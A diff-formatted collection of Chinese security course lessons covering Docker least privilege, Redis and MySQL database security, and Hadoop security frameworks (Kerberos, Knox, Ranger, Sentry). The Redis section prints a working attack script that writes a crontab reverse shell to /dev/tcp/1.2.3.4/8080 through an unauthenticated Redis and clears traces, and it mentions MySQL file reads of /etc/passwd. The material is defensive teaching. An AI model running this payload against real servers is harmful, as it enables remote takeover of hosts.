这是因为在默认情况下容器内的进程都是以ROOT权限启动的。而Docker又是伪隔离所以容器就和宿主机拥有一致的ROOT权限了。虽然Docker通过Capabilities对容器内的ROOT能力进行了限制。但是使用ROOT权限去运行一个普通的服务很不合适。为此我们可以通过USER关键词来使用一个低权限的用户运行服务。
以Node.js为例在node的基础镜像中默认创建了node这么一个具备较小权限的用户。因此我们可以在Dockerfile中加入一行USER node来使用这个最小权限用户。
```
FROM node:10-alpine
...
USER node
CMD [“node”, “index.js”]
```
当然如果有的基础镜像本身不提供额外的用户你就需要自己创建一个了。以ubuntu为例我们可以通过groupadd和useradd创建一个node用户这个用户没有密码、没有home目录、也没有shell就是一个最小权限用户。Dockerfile的内容如下
```
FROM ubuntu
RUN groupadd -r node &amp;&amp; useradd -r -s /bin/false -g node node
...
USER node
CMD node index.js
```
现在你应该已经知道Docker镜像的两种安全防护方法了我来简单总结一下。第一个是通过使用最精简的基础镜像来删减Docker镜像中不必要的功能从而降低出现漏洞的概率。第二个则是采取最小权限原则以低权限用户来执行服务限制黑客的能力。
## 总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
今天我主要通过Docker服务、Docker守护进程和Docker镜像这三个方面带你学习Docker的安全性。
在Docker服务中主要是利用Namespace、Capabilities和CGroups机制来对Docker容器进行各种隔离和限制在Docker守护进程中我们通过给远程API加上认证功能来保证安全性在Docker镜像中我们主要是通过最小镜像和最小权限的原则去提升镜像本身的安全性。
在实际对Docker进行安全防护的过程中我们也可以采取各类针对Docker的扫描工具来发现问题。比如[C](https://github.com/quay/clair)[lair](https://github.com/quay/clair),它会对你的镜像进行静态的扫描分析,并和漏洞库进行比对,从而发现镜像中可能存在的安全漏洞。
以Docker为代表的容器技术可以说是现在应用开发中最常见的技术了。很多开发人员现在甚至不用使用原始的Linux系统直接基于Docker进行开发就好了。因此我们在开发应用的过程中要时刻关注Docker的安全性。
好了,我把这一讲的重点内容梳理了一个脑图。你可以用它来查漏补缺,也可以自己来梳理看看,加深印象。
<img src="https://static001.geekbang.org/resource/image/c6/7c/c6d3f48513a247437372b2eb717f797c.jpg" alt="">
## 思考题
最后,给你留一个思考题。
“容器上云”是目前普遍的技术趋势,你是否有使用过一些容器云的产品?可以研究一下,在容器云中,云平台给容器设置了哪些安全限制。
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,150 @@
<audio id="audio" title="16 | 数据库安全:数据库中的数据是如何被黑客拖取的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/8a/cc/8ad43ddc6db174fffe53088019c801cc.mp3"></audio>
你好,我是何为舟。
说到数据库你肯定会说“数据库是我最熟悉的工具了。利用它我能够设计复杂的表结构、写出炫酷的SQL语句、优化高并发场景下的读写性能。”当然我们的日常工作离不开数据库的使用。而且数据库中储存的大量机密信息对于公司和用户都至关重要。
那关于数据库的安全你知道多少呢?你知道数据库是如何进行认证的吗?使用数据库交换数据的过程是安全的吗?假如黑客连入了数据库,又会发生什么呢?
今天我就以两种比较常见的数据库Redis和MySQL为例来和你一起探讨数据库的安全。
## Redis安全
我们首先来看Redis。我们都知道Redis是一个高性能的KV结构的数据库。Redis的设计初衷是在可信的环境中提供高性能的数据库服务。因此Redis在设计上没有过多地考虑安全性甚至可以说它刻意地牺牲了一定的安全性来获取更高的性能。
那在安全性不高的情况下黑客连入Redis能做什么呢最直接的黑客能够任意修改Redis中的数据。比如通过一个简单FLUSHALL命令黑客就能够清空整个Redis的数据了。
复杂一些的黑客还可以发起权限提升通过Redis在服务器上执行命令从而控制整个服务器。但是Redis本身不提供执行命令的功能那么黑客是如何让Redis执行命令的呢我们一起来看一下具体的代码流程。
```
r = redis.Redis(host=10.0.0.1, port=6379, db=0, socket_timeout=10)
payload = '\n\n*/1 * * * * /bin/bash -i &gt;&amp; /dev/tcp/1.2.3.4/8080 0&gt;&amp;1\n\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'
r.set(key, payload)
r.config_set('dir', path)
r.config_set('dbfilename', name)
r.save()
r.delete(key) # 清除痕迹
r.config_set('dir', '/tmp')
```
针对这个过程,我来详细解释一下,你可以结合代码来看。
- 黑客连入Redis。
- 黑客写入一个任意的Key对应的Value是想要执行的命令并按照Crontab的格式进行拼接。代码如下
```
*/1* * * * /bin/bash -i &gt;&amp; /dev/tcp/1.2.3.4/80800&gt;&amp;1
```
- 黑客调用config_set方法就是通过Redis的CONFIG命令将Redis数据持久化的目录修改成/var/spool/cron。
- 黑客调用save方法通过Redis的SAVE命令发起Redis的数据持久化功能。最终Redis将数据写入到/var/spool/cron中。写入的文件效果如下
<img src="https://static001.geekbang.org/resource/image/6e/81/6e78c556b7f2d5d5c4fc0d1d5bd93281.png" alt="">
- Crontab对于无法解析的数据会直接跳过因此开头和结尾的乱码不会影响Crontab的执行。最终Crontab会执行到Value中对应的命令。
这样一来黑客就“聪明”地利用Redis保存文件的功能修改了Crontab然后利用Crontab执行了命令。
那么我们该如何对Redis进行安全防护呢这里就需要提到我们前面讲过的“黄金法则”和“最小权限原则”了。
首先从认证上来说Redis提供了最简单的密码认证功能。在Redis的配置文件中只要增加一行requirepass 123456我们就能够为Redis设置一个密码了。但是这里有两点需要你注意。
- Redis的性能很高理论上黑客能够以每秒几十万次的速度来暴力猜测密码。因此你必须设置一个足够强的密码。我比较推荐随机生成一个32位的“数字加字母”的密码。而且Redis的密码直接保存在配置文件当中你并不需要记忆它需要的时候直接查看就好了。
- Redis是为了高性能而设计的。之所以Redis默认不配置密码就是因为密码会影响性能。按照我之前的测试加上密码之后Redis的整体性能会下降20%左右。这也是很多开发和运维明明知道Redis有安全风险仍然保持无密码状态的原因。所以是否给Redis设置密码还需要你根据实际的情况进行权衡。
其次是进行授权。尽管Redis本身不提供授权机制但是我们仍然可以通过“重命名”来间接地实现授权功能。我们可以在Redis的配置文件中加入rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho就可以将CONFIG功能的关键词变成一个随机的字符串黑客不知道这个字符串就无法执行CONFIG功能了。而且你仍然可以通过新的命令来正常地使用CONFIG功能不会对你的正常操作产生任何影响。
现在你应该已经知道在认证和授权上我们能使用的防护手段了。那在审计上因为Redis只提供了基本的日志功能日志等级分为Debug、Verbose、Notice和Warning实用信息不多也就没有太多的应用价值。
除了认证和授权如果你还想要对Redis中的数据进行加密那你只能够在客户端中去集成相应的功能因为Redis本身不提供任何加密的功能和服务。
最后我们还要避免使用ROOT权限去启动Redis这就需要用到“最小权限原则”了。在前面命令执行的例子中黑客是通过Redis的保存功能将命令“写入Crontab”来实现的命令执行功能。而“写入Crontab”这个操作其实是需要ROOT权限的。因此我们以一个低权限的用户比如nobody身份来启动Redis就能够降低黑客连入Redis带来的影响了。当然Redis本身也需要保存日志和持久化数据所以它仍然需要写入日志文件的权限小于ROOT权限来保证正常运行。
总结来说Redis是一个极度看重性能的数据库为了性能舍弃掉了部分的安全功能。我们可以通过“增加密码”“使用最小权限原则”和“授权”的方式在一定程度上提升Redis的安全性。但是这些防护手段更多的是一种缓解机制为了保证安全性我们最好是只在可信的网络中使用Redis。
## MySQL安全
讲到这里,你现在应该也能总结出,黑客攻击数据库的主要方式,除了执行各种命令对数据库中的数据进行“增删改查”,就是在连入数据库后,通过各种手段实现命令执行,最终控制整个服务器。
那在MySQL中黑客的攻击方式又有什么不同呢
因为MySQL的功能十分强大自身就提供了和本地文件交互的功能。所以通过LOAD DATA INFILEMySQL可以读取服务器的本地文件通过SELECT … INTO DUMPFILEMySQL也能够将数据写入到本地文件中。因此在黑客连入MySQL之后通过读文件的功能黑客就能够对服务器的任意文件进行读取比如敏感的/etc/passwd或者应用的源代码等通过写文件的功能则可以仿照Redis修改Crontab的原理实现命令执行的功能。
相比于RedisMySQL是一个比较成熟的数据库工具自身的安全性就很高所以通过正确地配置MySQL的安全选项我们就能够获得较高的安全保障。
那么MySQL在黄金法则和加密上分别提供了哪些功能呢
MySQL提供了多用户的认证体系它将用户的相关信息认证信息、权限信息都存储在了mysql.user这个系统表中。利用这个系统表MySQL可以通过增删改查操作来定义和管理用户的认证信息、权限列表等。
除此之外在认证上MySQL还提供了比较完善的密码管理功能它们分别是
- 密码过期,强制用户定期修改密码;
- 密码重用限制,避免用户使用旧的密码;
- 密码强度评估,强制用户使用强密码;
- 密码失败保护,当用户出现太多密码错误的尝试后锁定账户。
那么,通过这些密码管理的机制,你就能够拥有一个相对安全的认证体系了。
在多用户的认证体系中授权是必不可少的。那MySQL中的授权机制是怎样的呢
```
GRANT ALL PRIVILEGES ON db.table TO user@&quot;127.0.0.1&quot; IDENTIFIED BY &quot;password&quot;
```
我们通过修改权限的GRANT命令来具体分析一下MySQL授权机制中的主体、客体和请求。
- 主体user@“127.0.0.1” IDENTIFIED BY “password”MySQL的主体是通过用户名、IP和密码这三个信息组合起来进行标记的。
- 客体db.tableMySQL的客体是数据库和表。
- 请求ALL PRIVILEGESMySQL将请求的类型定义成了特权PRIVILEGES。常见的特权有INSERT、DELETE等增删改查操作如果你想要了解其他更细粒度的特权可以在[官方文档](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html)中进行查看)。
除此之外MySQL也定义了ROLE的概念你可以基于这个功能去实现role-BAC机制。
虽然和Redis一样MySQL本身也不提供审计功能。但是MySQL可以通过第三方插件来提供审计的服务。比如McAfee提供的[mysql-audit](https://github.com/mcafee/mysql-audit)以及[MariaDB Audit Plugin](https://mariadb.com/kb/en/library/mariadb-audit-plugin-log-settings/)。这些插件能够自动收集必要的MySQL操作信息并推送到你的ELK等日志集群中方便你进行持续的审计操作。
在加密方面MySQL既提供传输过程中SSLSecurity Socket Layer加密也提供存储过程中硬盘加密。
我们首先来看MySQL的SSL加密功能。开启SSL功能需要在配置文件中配置如下命令
```
[mysqld]
ssl-ca=ca.pem
ssl-cert=server-cert.pem
ssl-key=server-key.pem
```
但是这些配置并不能强制客户端使用SSL连接。想要杜绝全部非安全连接的话我们可以在配置文件中添加require_secure_transport=ON来进行强制限制。
接着我们来看MySQL中提供的硬盘加密功能。硬盘加密过程主要涉及两个密钥一个主密钥和一个表密钥。表密钥由MySQL随机生成通过主密钥进行加密后存储在表头信息中。因此每一个表格都拥有不同的密钥。
MySQL的加密功能是由keyring_file这个插件来提供的。需要注意的是当keyring_file第一次启动的时候它会生成一个主密钥文件在当前的系统中。你一定要备份这个密钥文件因为它一旦丢失数据库中的全部数据都将因为无法解密而丢失。
现在你应该了解了MySQL在黄金法则上都提供了哪些功能。接下来我们再来看“最小权限原则”。
和Redis一样MySQL也需要避免以ROOT权限启动。不一样的是MySQL默认提供了这样的能力当我们在Linux中通过mysqld来启动MySQL进程的时候mysqld会自动创建一个具备最小权限的mysql用户并赋予这个用户对应日志文件的权限保证MySQL拥有必要的最小权限。
总之MySQL是一个非常成熟的数据库工具它提供了完整的安全功能。通过对认证、授权、审计和加密功能的正确配置你就能够迅速提升MySQL的整体安全性。
## 总结
今天我们以Redis和MySQL这两种比较典型的数据库为例对它们的安全性以及攻破后能产生的危害进行了分析。在这里我把安全防护的关键内容总结了一张表格希望能够帮助你加深理解。
<img src="https://static001.geekbang.org/resource/image/cf/38/cfef962b04ea94100920d60188996638.jpeg" alt="">
通过对这两种数据库的分析,我们知道,数据库面临的威胁不只存在于数据本身,也会影响到数据库所在的服务器。在数据库本身的安全防护上,我们可以通过对“黄金法则”的运用,在认证、授权、审计和加密方面,为其设置一定的保护能力。同时,为了避免数据库对服务器的衍生影响,我们也应该落实“最小权限原则”, 避免以ROOT权限去启动数据库服务。
当然,目前成熟的数据库产品肯定不止这两种。但是,我希望通过对这两种数据库的安全分析,让你掌握数据库安全的主要内容,在实际工作中,能够做到活学活用,自主去分析你用到的数据库。
## 思考题
最后,让我们来看一道思考题。
在实际工作除了Redis和MySQL你还会用到哪些数据库你可以思考一下这些数据库有哪些安全事项呢你可以按照我给出的表格试着总结出相关的安全防护手段。
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!

View File

@@ -0,0 +1,127 @@
<audio id="audio" title="17 | 分布式安全:上百个分布式节点,不会出现“内奸”吗?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ba/eb/bab1d4da96c1ed9e7d677ed04093c0eb.mp3"></audio>
你好,我是何为舟。
如今,大数据处理已经成为了每一个应用和公司都必备的业务。因此,除了数据库之外,分布式的平台和框架也是开发人员最熟悉的工具之一。
说到分布式就不得不提到Hadoop。Hadoop可以说是一个划时代的分布式框架底层的HDFS提供了大数据存储的文件系统支持YARN提供了大数据运算的资源调度能力而MapReduce的计算框架更是彻底革新了数据运算的方式。基于此Hadoop又衍生了一系列的分布式工具和数据处理生态圈。
可以说Hadoop是分布式框架的根基。所以我们今天就以Hadoop为例探讨一下分布式框架的安全性。
对于开发人员来说,优化分布式环境下的数据处理性能,完成各种高复杂度的运算任务,都不在话下。但是,说到分布式环境中的安全,你又知道多少呢?
现在的分布式环境中,动辄就是上百台的分布式节点,海量的数据在这些节点中不停地流动,你能够确定所有的节点都是可信的吗?如果某一个节点被黑客控制了,又会发生什么呢?
## 针对Hadoop的攻击方式有哪些
Hadoop最开始是设计工作在可信的网络中的所以Hadoop的默认安全防护机制并不强。这也就使得Hadoop中的数据安全得不到保障。而Hadoop作为大数据的处理框架可以说公司大部分的数据都会落到其中进行处理。因此Hadoop中数据CIA的重要性甚至比普通的数据库更高。
那么黑客可以通过哪些方式来攻击Hadoop呢
首先最直接也是最常见的也就是在默认情况下Hadoop没有集成认证和授权功能任何人都可以通过客户端的形式连入到Hadoop集群中。所以黑客可以任意地增删改查HDFS中的数据也可以任意地提交Hadoop任务来进行自己想要的数据操作。
除了直接的越权访问黑客也可以通过一些间接的方式来窃取Hadoop中的数据。比如Hadoop节点间的数据传输默认都是明文的。因此即使黑客无法连入到Hadoop集群中它们也可以通过控制交换机等网络设备同样能够获得很多的数据信息。
最后因为Hadoop能够很好地支持节点的增加和删除操作。所以黑客可以以一个节点的身份加入到Hadoop集群中。这样一来数据就会自动流转到黑客的节点中。如果伪装的是具备调度功能的NameNode黑客还能够对整个Hadoop集群的资源调度进行干预和影响。
## Hadoop自带的安全功能有哪些
现在你应该知道了黑客针对Hadoop的攻击一旦发生就会造成非常大的危害。那我们该如何提高Hadoop的安全性呢和数据库一样我们还是分别从认证、授权、审计和加密这四个方面来看。
### 黄金法则在Hadoop上如何应用
首先我们来看如何给Hadoop加上认证的功能。
目前Hadoop支持了基于Kerberos协议的认证功能我们可以在配置文件中使用。
那Kerberos协议是什么呢Kerberos协议和我们之前讲过的单点登录机制CAS流程很类似都是向认证中心获取一个认证Token然后根据Token去完成服务的认证。区别在于Kerberos都是主动向认证中心发起认证不需要服务去进行重定向操作。
<img src="https://static001.geekbang.org/resource/image/e7/5e/e705c8543a017c24ed107fac3e8f4d5e.jpeg" alt="">
接下来我带你梳理一下Kerberos的流程你可以结合上面的流程图来看。
用户在向KDCKerberos的认证中心发起登录之后会获取一个TokenKerberos的ST然后通过这个Token去访问对应的服务。Token中包含了签名因此服务方可以自行验证Token的合法性。在认证完成之后服务方就可以向用户提供服务了。
Kerberos比较适用于服务与服务之间的认证对应到Hadoop的场景中就是Hadoop集群中内部各个节点之间的认证。
那么在使用了Kerberos认证机制后我们要怎么去配置每一个Hadoop节点来完成Hadoop集群的认证呢这就需要我们在初始化Hadoop的各个节点时为每个节点申请一个Kerberos的密钥文件Keytab。
Keytab文件会使用一个Principal作为唯一的身份标识。Principal的格式如下username/host@realm。可以看到Principal由三个部分组成username、host和realm。
其中“username”是服务所对应的用户身份。比如Hadoop的服务会分别以hdfs用户运行HDFS服务、以yarn用户运行YARN服务、以mapred用户运行MapReduce服务。因此对应各个服务节点的“username”就是hdfs、yarn和mapred。
“host”即为服务节点在DNS中的主机名“realm”为域标示可以使用根域名来替代比如BAIDU.COM。
现在我们知道通过PrincipalKeytab文件会和节点的服务类型以及Host进行绑定。这样一来每个服务节点都具备了能证实身份的唯一ID和密钥也就可以保证在整个Hadoop集群中各个节点都是可信任的。
Kerberos协议同样可以完成对用户的授权。当认证开启后只要用户登录一台配置好了Kerberos密钥的服务器就能以节点的身份向Hadoop发起认证了。
总体来说因为不同的Hadoop工具Hive、HDFS等对授权和审计有不同的需求所以这些授权和审计功能通常会放到具体工具中去实现无法由底层的Hadoop统一完成。而这种不统一会增加Hadoop管理的工作量因此在实际工作中我们往往会选择通过集成额外的安全框架来对授权和审计进行统一管理。我会在Hadoop安全框架的内容中详细来讲解授权和审计机制。
### Hadoop中有哪些加密形式
在黄金法则之外我们需要考虑的另外一点就是数据加密。和MySQL数据库一样Hadoop也支持对硬盘数据进行加密存储这个过程主要集中在HDFS中当数据写入HDFS时数据会自动加密当需要从HDFS读取数据时数据会自动解密。在MySQL中我们是以表为单位分配不同的密钥在HDFS中则需要我们主动创建Zone来进行加密。
比如通过下面的命令我们能够在HDFS中创建一个/zone目录对/zone目录中的所有数据进行加密。
```
hadoop fs -mkdir /zone
hdfs crypto -createZone -keyName mykey -path /zone
```
但是和MySQL数据库不同的是HDFS是一个分布式的存储系统一份大数据会被分成若干个小数据存储在不同的服务节点上。那么HDFS是怎么对加密密钥进行管理的呢Hadoop提供了一个密钥管理中心KMS当HDFS需要进行加解密操作时会根据用户信息向KMS请求对应的密钥从而完成数据的加解密工作。
## 通过Hadoop安全框架来加强安全功能
Hadoop作为一个成熟的开源框架当出现安全需求时各个公司都会对其进行安全加固。当这些加固的技术成熟时部分公司就会对这些技术进行整理包装成为Hadoop提供安全加固的框架供我们使用。
接下来我就从我最熟悉的3个知名安全框架入手为你详细讲解这些安全框架分别为Hadoop提供了哪些安全机制。
首先我们来看Apache Knox。
Apache Knox是一个针对Hadoop集群的网关。所有对Hadoop集群的请求需要先发送给Apache Knox然后由Apache Knox代理到Hadoop集群中去。对于用户来说只能够看到Apache Knox的网关而不能够直接和Hadoop集群进行通信。通过网关的形式Apache Knox将所有和Hadoop交互的行为进行了统一收口。在此基础之上Apache Knox就可以为Hadoop提供统一的安全管理能力也就是进行用户的认证、授权和审计等工作。
<img src="https://static001.geekbang.org/resource/image/8d/1c/8d9af830e8d2fdf8966e16de091e3a1c.jpeg" alt="">
接着我们再来说一说Apache Sentry。
Apache Sentry相当于一个为Hadoop提供集中式授权的中心。它在Hive、Impala等数据引擎中添加一个插件拦截所有对数据引擎的请求并转发到Apache Sentry的授权中心。然后Apache Sentry会基于role-BAC的访问控制方式对请求进行具体的授权。对于Hadoop的各类组件来说Apache Sentry是一个比较独立的授权引擎可以随时地引入或者撤除。也就是说Apache Sentry为Hadoop提供了可“插拔式”的授权能力。
<img src="https://static001.geekbang.org/resource/image/38/93/387baa6f9f027379f15ccf5abc1d3793.jpeg" alt="">
最后是Apache Ranger。
Apache Ranger提供了一个集中制的访问控制机制。通过Apache Ranger的管理后台我们可以很方便地管理各类资源的授权机制。而且这些授权机制是通过一个轻量级的Java插件运行在各类工具的服务进程比如HDFS的namenode进程Hive的Hive2Server进程等所以在Hadoop的服务节点上不需要运行额外的进程。尽管耦合性更强但Apache Ranger更便于管理它相当于在每一个Hadoop工具中都加入了授权的能力。
<img src="https://static001.geekbang.org/resource/image/a1/c1/a12efec9e5ce98dd24e2e81d344fd7c1.jpeg" alt="">
为了帮助你加深理解,我把这三个安全框架的功能简单地总结了一张表格。
<img src="https://static001.geekbang.org/resource/image/37/b1/37d908d9f3b3cd32e51d816acbb602b1.jpeg" alt="">
现在你应该已经了解这3个安全框架能够提供的安全机制了。接下来我们说一说在实际工作中你该如何选择这些安全框架。
我比较推荐你使用Apache Ranger和Apache Knox的组合。因为Apache Ranger和Apache Knox是同一个公司Hortonworks推出的安全框架它们在功能上是相辅相成。
我为什么会这么说呢我们前面讲过Apache Ranger是一个授权系统它通过访问授权机制决定谁可以访问哪些数据。但是Apache Ranger没有自带的认证功能当请求到达Apache Ranger的时候它就默认这个用户已经完成认证了。Apache Knox提供了统一的出入口只有通过认证的用户能够将请求发送到Hadoop集群中。简单来说就是Apache Knox为Ranger提供了认证能力Apache Ranger为Apache Knox提供了授权能力。
那Apache Sentry是不是也能和其他的安全框架组合使用呢其实我认为Apache Sentry和Apache Ranger只是两家公司为了竞争开发的同一类产品。因此它们在功能上比较相似只是支持的Hadoop工具稍有区别比如Apache Sentry支持Impala而Apache Ranger 不支持。
现在Apache Sentry和Apache Ranger的两家公司已经完成合并并且已经决定将Apache Sentry合并到Apache Ranger中。所以如果你需要为Hadoop加入安全框架的话使用Apache Knox+Apache Ranger的组合即可不需要再去考虑其他安全框架了。[官方网站](https://docs.cloudera.com/HDPDocuments/HDP3/HDP-3.1.0/security-overview/content/apache_knox_gateway_overview.html)也对这种组合形式进行了具体的描述,你可以直接查阅使用。
## 总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
我们以Hadoop为例详细讲解了分布式系统中的安全风险和安全措施。如果Hadoop缺乏安全保护措施那么其中的数据就会受到威胁。黑客可以通过伪装成用户、伪装成节点或者窃听网络的方式破坏数据的CIA。
在防护上我们可以通过认证、授权、审计和加密的方式对Hadoop进行保护。除此之外Hadoop作为成熟的开源框架有很多公司为其打造了增强安全能力的辅助工具。我比较推荐你使用Hortonworks的Apache Knox和Apache Ranger的组合。
## 思考题
最后,我们还是来看一道思考题。
在Hadoop安全中我们介绍了“外挂式”的安全工具和框架。所谓“外挂式”即应用本身不提供足够的安全能力而由外接的工具来提供安全能力。你可以回忆一下你还在哪些场景中见过类似的安全模式这个安全模式又有哪些优缺点
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!